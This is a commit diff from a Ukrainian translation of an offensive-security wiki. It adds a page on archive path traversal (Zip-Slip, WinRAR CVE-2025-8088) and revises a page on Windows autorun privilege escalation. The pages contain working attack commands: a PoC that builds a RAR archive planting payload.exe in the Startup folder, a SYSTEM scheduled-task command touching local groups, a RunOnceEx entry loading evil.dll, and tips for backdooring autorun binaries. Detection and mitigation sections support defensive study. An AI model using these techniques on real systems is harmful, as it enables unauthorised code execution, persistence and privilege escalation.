Translated ['src/generic-hacking/archive-extraction-path-traversal.md',

This commit is contained in:
Translator 2025-08-13 22:16:30 +00:00
parent 02a2ab92bc
commit 7deb6b0c3e
3 changed files with 103 additions and 26 deletions

View File

@ -79,6 +79,7 @@
# 🧙‍♂️ Generic Hacking
- [Archive Extraction Path Traversal](generic-hacking/archive-extraction-path-traversal.md)
- [Brute Force - CheatSheet](generic-hacking/brute-force.md)
- [Esim Javacard Exploitation](generic-hacking/esim-javacard-exploitation.md)
- [Exfiltration](generic-hacking/exfiltration.md)

View File

@ -0,0 +1,68 @@
# Archive Extraction Path Traversal ("Zip-Slip" / WinRAR CVE-2025-8088)
{{#include ../banners/hacktricks-training.md}}
## Огляд
Багато форматів архівів (ZIP, RAR, TAR, 7-ZIP тощо) дозволяють кожному запису мати свій **внутрішній шлях**. Коли утиліта для розпакування сліпо поважає цей шлях, створене ім'я файлу, що містить `..` або **абсолютний шлях** (наприклад, `C:\Windows\System32\`), буде записано поза вибраною користувачем директорією. Цей клас вразливостей широко відомий як *Zip-Slip* або **перехід по шляху розпакування архіву**.
Наслідки варіюються від перезапису довільних файлів до безпосереднього досягнення **віддаленого виконання коду (RCE)** шляхом розміщення корисного навантаження в **автоматично запускаємому** місці, такому як папка *Startup* Windows.
## Корінна причина
1. Зловмисник створює архів, в якому один або кілька заголовків файлів містять:
* Відносні послідовності переходу (`..\..\..\Users\\victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe`)
* Абсолютні шляхи (`C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\payload.exe`)
2. Жертва розпаковує архів за допомогою вразливого інструменту, який довіряє вбудованому шляху замість його очищення або примусового розпакування під вибраною директорією.
3. Файл записується в місце, контрольоване зловмисником, і виконується/завантажується наступного разу, коли система або користувач активує цей шлях.
## Приклад з реального життя WinRAR ≤ 7.12 (CVE-2025-8088)
WinRAR для Windows (включаючи `rar` / `unrar` CLI, DLL та портативне джерело) не зміг перевірити імена файлів під час розпакування. Зловмисний архів RAR, що містить запис, такий як:
```text
..\..\..\Users\victim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe
```
виявиться **поза** вибраною вихідною директорією і всередині *Startup* папки користувача. Після входу в систему Windows автоматично виконує все, що там присутнє, забезпечуючи *постійний* RCE.
### Створення PoC архіву (Linux/Mac)
```bash
# Requires rar >= 6.x
mkdir -p "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
cp payload.exe "evil/../../../Users/Public/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
rar a -ep evil.rar evil/*
```
Options used:
* `-ep` зберігати шляхи до файлів точно так, як вказано (не **виключати** ведучий `./`).
Доставте `evil.rar` жертві та накажіть їй витягти його за допомогою вразливої версії WinRAR.
### Спостережуване використання в дії
ESET повідомила про кампанії таргетованої фішингової атаки RomCom (Storm-0978/UNC2596), які прикріплювали RAR-архіви, що використовують CVE-2025-8088 для розгортання кастомізованих бекдорів та сприяння операціям з програмами-вимагачами.
## Поради щодо виявлення
* **Статична перевірка** Перерахуйте записи архіву та позначте будь-які імена, що містять `../`, `..\\`, *абсолютні шляхи* (`C:`) або неканонічні кодування UTF-8/UTF-16.
* **Витяг у пісочниці** Розпакуйте в одноразовий каталог, використовуючи *безпечний* екстрактор (наприклад, Pythons `patool`, 7-Zip ≥ остання версія, `bsdtar`) та перевірте, щоб результуючі шляхи залишалися в межах каталогу.
* **Моніторинг кінцевих точок** Сповіщайте про нові виконувані файли, записані в `Startup`/`Run` місця незабаром після відкриття архіву за допомогою WinRAR/7-Zip тощо.
## Пом'якшення та зміцнення
1. **Оновіть екстрактор** WinRAR 7.13 реалізує належну санітизацію шляхів. Користувачі повинні завантажити його вручну, оскільки WinRAR не має механізму автоматичного оновлення.
2. Витягуйте архіви з опцією **“Ігнорувати шляхи”** (WinRAR: *Витягти → "Не витягувати шляхи"*) коли це можливо.
3. Відкривайте ненадійні архіви **всередині пісочниці** або ВМ.
4. Реалізуйте білу списку додатків та обмежте доступ користувачів до каталогів автозапуску.
## Додаткові постраждалі / історичні випадки
* 2018 Масове *Zip-Slip* попередження від Snyk, що вплинуло на багато бібліотек Java/Go/JS.
* 2023 7-Zip CVE-2023-4011 подібне обходження під час злиття `-ao`.
* Будь-яка кастомна логіка витягання, яка не викликає `PathCanonicalize` / `realpath` перед записом.
## Посилання
- [BleepingComputer Вразливість нульового дня WinRAR використана для розміщення шкідливого ПЗ під час витягання архівів](https://www.bleepingcomputer.com/news/security/winrar-zero-day-flaw-exploited-by-romcom-hackers-in-phishing-attacks/)
- [WinRAR 7.13 Зміни](https://www.win-rar.com/singlenewsview.html?&L=0&tx_ttnews%5Btt_news%5D=283&cHash=a64b4a8f662d3639dec8d65f47bc93c5)
- [Snyk Опис вразливості Zip Slip](https://snyk.io/research/zip-slip-vulnerability)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Підвищення привілеїв за допомогою Autoruns
# Підвищення привілеїв з Autoruns
{{#include ../../banners/hacktricks-training.md}}
@ -11,7 +11,7 @@
wmic startup get caption,command 2>nul & ^
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
```
## Заплановані завдання
## Заплановані Завдання
**Завдання** можуть бути заплановані для виконання з **певною частотою**. Перегляньте, які бінарні файли заплановані для виконання за допомогою:
```bash
@ -26,7 +26,7 @@ schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgro
```
## Папки
Усі бінарні файли, розташовані в **папках автозавантаження, будуть виконані під час запуску**. Загальні папки автозавантаження наведені далі, але папка автозавантаження вказується в реєстрі. [Прочитайте це, щоб дізнатися де.](privilege-escalation-with-autorun-binaries.md#startup-path)
Всі бінарні файли, розташовані в **папках автозапуску, будуть виконані під час запуску**. Загальні папки автозапуску наведені далі, але папка автозапуску вказується в реєстрі. [Read this to learn where.](privilege-escalation-with-autorun-binaries.md#startup-path)
```bash
dir /b "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" 2>nul
dir /b "C:\Documents and Settings\%username%\Start Menu\Programs\Startup" 2>nul
@ -35,14 +35,22 @@ dir /b "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" 2>nul
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
```
> **FYI**: Вразливості *перетворення шляху* при витягуванні архівів (такі як та, що зловживає в WinRAR до 7.13 CVE-2025-8088) можуть бути використані для **доставки корисних навантажень безпосередньо в ці папки автозавантаження під час розпакування**, що призводить до виконання коду при наступному вході користувача. Для детального розгляду цієї техніки дивіться:
{{#ref}}
../../generic-hacking/archive-extraction-path-traversal.md
{{#endref}}
## Реєстр
> [!NOTE]
> [!TIP]
> [Примітка звідси](https://answers.microsoft.com/en-us/windows/forum/all/delete-registry-key/d425ae37-9dcc-4867-b49c-723dcd15147f): Запис реєстру **Wow6432Node** вказує на те, що ви використовуєте 64-бітну версію Windows. Операційна система використовує цей ключ для відображення окремого вигляду HKEY_LOCAL_MACHINE\SOFTWARE для 32-бітних додатків, які працюють на 64-бітних версіях Windows.
### Запуски
**Загально відомі** реєстраційні ключі AutoRun:
**Зазвичай відомі** реєстраційні ключі AutoRun:
- `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
- `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
@ -56,7 +64,7 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\Runonce`
- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Terminal Server\Install\Software\Microsoft\Windows\CurrentVersion\RunonceEx`
Реєстраційні ключі, відомі як **Run** і **RunOnce**, призначені для автоматичного виконання програм щоразу, коли користувач входить в систему. Командний рядок, призначений як значення даних ключа, обмежений 260 символами або менше.
Реєстраційні ключі, відомі як **Run** і **RunOnce**, призначені для автоматичного виконання програм щоразу, коли користувач входить у систему. Командний рядок, призначений як значення даних ключа, обмежений 260 символами або менше.
**Запуски служб** (можуть контролювати автоматичний запуск служб під час завантаження):
@ -74,15 +82,15 @@ Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
- `HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceEx`
У Windows Vista та пізніших версіях реєстраційні ключі **Run** і **RunOnce** не генеруються автоматично. Записи в цих ключах можуть або безпосередньо запускати програми, або вказувати їх як залежності. Наприклад, щоб завантажити DLL-файл під час входу в систему, можна використовувати реєстраційний ключ **RunOnceEx** разом з ключем "Depend". Це демонструється шляхом додавання запису реєстру для виконання "C:\temp\evil.dll" під час завантаження системи:
У Windows Vista та пізніших версіях реєстраційні ключі **Run** і **RunOnce** не генеруються автоматично. Записи в цих ключах можуть або безпосередньо запускати програми, або вказувати їх як залежності. Наприклад, щоб завантажити DLL-файл при вході, можна використовувати реєстраційний ключ **RunOnceEx** разом з ключем "Depend". Це демонструється шляхом додавання запису реєстру для виконання "C:\temp\evil.dll" під час завантаження системи:
```
reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d "C:\\temp\\evil.dll"
```
> [!NOTE]
> **Експлуатація 1**: Якщо ви можете записувати в будь-який з вказаних реєстрів всередині **HKLM**, ви можете підвищити привілеї, коли інший користувач входить в систему.
> [!TIP]
> **Exploit 1**: Якщо ви можете записувати в будь-який з вказаних реєстрів всередині **HKLM**, ви можете підвищити привілеї, коли інший користувач входить в систему.
> [!NOTE]
> **Експлуатація 2**: Якщо ви можете перезаписати будь-які з бінарних файлів, вказаних у будь-якому з реєстрів всередині **HKLM**, ви можете модифікувати цей бінарний файл з бекдором, коли інший користувач входить в систему, і підвищити привілеї.
> [!TIP]
> **Exploit 2**: Якщо ви можете перезаписати будь-які з вказаних бінарних файлів в будь-якому з реєстрів всередині **HKLM**, ви можете модифікувати цей бінарний файл з бекдором, коли інший користувач входить в систему, і підвищити привілеї.
```bash
#CMD
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
@ -147,8 +155,8 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Wow6432Node\Microsoft\Windows\Ru
Ярлики, розміщені в папці **Startup**, автоматично запускають служби або програми під час входу користувача або перезавантаження системи. Місцезнаходження папки **Startup** визначається в реєстрі для обох областей **Local Machine** та **Current User**. Це означає, що будь-який ярлик, доданий до цих вказаних місць **Startup**, забезпечить запуск пов'язаної служби або програми після процесу входу або перезавантаження, що робить це простим методом для планування автоматичного запуску програм.
> [!NOTE]
> Якщо ви зможете перезаписати будь-яку \[User] Shell Folder під **HKLM**, ви зможете вказати її на папку, контрольовану вами, і розмістити бекдор, який буде виконуватись щоразу, коли користувач входить у систему, підвищуючи привілеї.
> [!TIP]
> Якщо ви можете перезаписати будь-яку \[User] Shell Folder під **HKLM**, ви зможете вказати її на папку, контрольовану вами, і розмістити бекдор, який буде виконуватись щоразу, коли користувач входить у систему, підвищуючи привілеї.
```bash
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /v "Common Startup"
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Common Startup"
@ -171,8 +179,8 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Userinit"
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name "Shell"
```
> [!NOTE]
> Якщо ви можете перезаписати значення реєстру або двійковий файл, ви зможете підвищити привілеї.
> [!TIP]
> Якщо ви зможете перезаписати значення реєстру або двійковий файл, ви зможете підвищити привілеї.
### Налаштування політики
@ -190,7 +198,7 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
### Зміна командного рядка безпечного режиму
У реєстрі Windows за адресою `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` є значення **`AlternateShell`**, яке за замовчуванням встановлено на `cmd.exe`. Це означає, що коли ви вибираєте "Безпечний режим з командним рядком" під час завантаження (натискаючи F8), використовується `cmd.exe`. Але можливо налаштувати ваш комп'ютер на автоматичний запуск у цьому режимі без необхідності натискати F8 і вручну вибирати його.
У реєстрі Windows за адресою `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot` є значення **`AlternateShell`**, яке за замовчуванням встановлено на `cmd.exe`. Це означає, що коли ви вибираєте "Безпечний режим з командним рядком" під час завантаження (натискаючи F8), використовується `cmd.exe`. Але можливо налаштувати ваш комп'ютер так, щоб він автоматично запускався в цьому режимі без необхідності натискати F8 і вручну вибирати його.
Кроки для створення параметра завантаження для автоматичного запуску в "Безпечному режимі з командним рядком":
@ -201,8 +209,8 @@ Get-ItemProperty -Path 'Registry::HKCU\Software\Microsoft\Windows\CurrentVersion
5. Знову застосуйте початкові атрибути файлу: `attrib c:\boot.ini +r +s +h`
- **Exploit 1:** Зміна ключа реєстру **AlternateShell** дозволяє налаштувати власну командну оболонку, що потенційно може призвести до несанкціонованого доступу.
- **Exploit 2 (Права на запис у PATH):** Наявність прав на запис у будь-яку частину системної змінної **PATH**, особливо перед `C:\Windows\system32`, дозволяє виконувати власний `cmd.exe`, що може бути бекдором, якщо система запуститься в безпечному режимі.
- **Exploit 3 (Права на запис у PATH і boot.ini):** Доступ до запису в `boot.ini` дозволяє автоматичний запуск у безпечному режимі, що полегшує несанкціонований доступ при наступному перезавантаженні.
- **Exploit 2 (Права на запис у PATH):** Наявність прав на запис у будь-яку частину системної змінної **PATH**, особливо перед `C:\Windows\system32`, дозволяє виконувати власний `cmd.exe`, що може бути бекдором, якщо система запущена в безпечному режимі.
- **Exploit 3 (Права на запис у PATH та boot.ini):** Доступ до запису в `boot.ini` дозволяє автоматичний запуск у безпечному режимі, що полегшує несанкціонований доступ при наступному перезавантаженні.
Щоб перевірити поточне налаштування **AlternateShell**, використовуйте ці команди:
```bash
@ -211,7 +219,7 @@ Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Co
```
### Встановлений компонент
Active Setup - це функція в Windows, яка **ініціюється до повного завантаження робочого середовища**. Вона пріоритетно виконує певні команди, які повинні завершитися перед продовженням входу користувача. Цей процес відбувається навіть до того, як будуть активовані інші записи автозавантаження, такі як ті, що в розділах реєстру Run або RunOnce.
Active Setup - це функція в Windows, яка **ініціюється до повного завантаження робочого середовища**. Вона надає пріоритет виконанню певних команд, які повинні завершитися перед продовженням входу користувача. Цей процес відбувається навіть до того, як будуть активовані інші записи автозавантаження, такі як ті, що в розділах реєстру Run або RunOnce.
Active Setup керується через наступні ключі реєстру:
@ -223,16 +231,16 @@ Active Setup керується через наступні ключі реєс
У цих ключах існують різні підключі, кожен з яких відповідає конкретному компоненту. Ключові значення, які представляють особливий інтерес, включають:
- **IsInstalled:**
- `0` вказує на те, що команда компонента не буде виконана.
- `0` вказує, що команда компонента не буде виконана.
- `1` означає, що команда буде виконана один раз для кожного користувача, що є поведінкою за замовчуванням, якщо значення `IsInstalled` відсутнє.
- **StubPath:** Визначає команду, яка буде виконана Active Setup. Це може бути будь-яка дійсна командний рядок, наприклад, запуск `notepad`.
- **StubPath:** Визначає команду, яка буде виконана Active Setup. Це може бути будь-яка дійсна командна строка, наприклад, запуск `notepad`.
**Інсайти безпеки:**
- Модифікація або запис у ключ, де **`IsInstalled`** встановлено на `"1"` з конкретним **`StubPath`**, може призвести до несанкціонованого виконання команд, потенційно для підвищення привілеїв.
- Зміна бінарного файлу, на який посилається будь-яке значення **`StubPath`**, також може досягти підвищення привілеїв, за умови достатніх дозволів.
Щоб перевірити конфігурації **`StubPath`** в компонентах Active Setup, можна використовувати ці команди:
Щоб перевірити конфігурації **`StubPath`** у компонентах Active Setup, можна використовувати ці команди:
```bash
reg query "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
reg query "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components" /s /v StubPath
@ -241,9 +249,9 @@ reg query "HKCU\SOFTWARE\Wow6432Node\Microsoft\Active Setup\Installed Components
```
### Browser Helper Objects
### Огляд Browser Helper Objects (BHOs)
### Overview of Browser Helper Objects (BHOs)
Browser Helper Objects (BHOs) - це модулі DLL, які додають додаткові функції до Internet Explorer від Microsoft. Вони завантажуються в Internet Explorer та Windows Explorer при кожному запуску. Однак їх виконання може бути заблоковане шляхом встановлення ключа **NoExplorer** на 1, що запобігає їх завантаженню з екземплярами Windows Explorer.
Browser Helper Objects (BHOs) - це модулі DLL, які додають додаткові функції до Internet Explorer від Microsoft. Вони завантажуються в Internet Explorer та Windows Explorer при кожному запуску. Однак їх виконання можна заблокувати, встановивши ключ **NoExplorer** на 1, що запобігає їх завантаженню з екземплярами Windows Explorer.
BHOs сумісні з Windows 10 через Internet Explorer 11, але не підтримуються в Microsoft Edge, браузері за замовчуванням у новіших версіях Windows.
@ -286,14 +294,14 @@ reg query "HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command" /v ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Classes\htmlfile\shell\open\command' -Name ""
Get-ItemProperty -Path 'Registry::HKLM\SOFTWARE\Wow6432Node\Classes\htmlfile\shell\open\command' -Name ""
```
### Варіанти виконання файлів зображень
### Опції виконання файлів зображень
```
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKLM\Software\Microsoft\Wow6432Node\Windows NT\CurrentVersion\Image File Execution Options
```
## SysInternals
Зверніть увагу, що всі сайти, де ви можете знайти autoruns, **вже були перевірені**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Однак для **більш повного списку автоматично виконуваних** файлів ви можете використовувати [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) від Sysinternals:
Зверніть увагу, що всі сайти, де ви можете знайти autoruns, **вже були перевірені**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Однак, для **більш повного списку авто-виконуваних** файлів ви можете використовувати [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) від sysinternals:
```
autorunsc.exe -m -nobanner -a * -ct /accepteula
```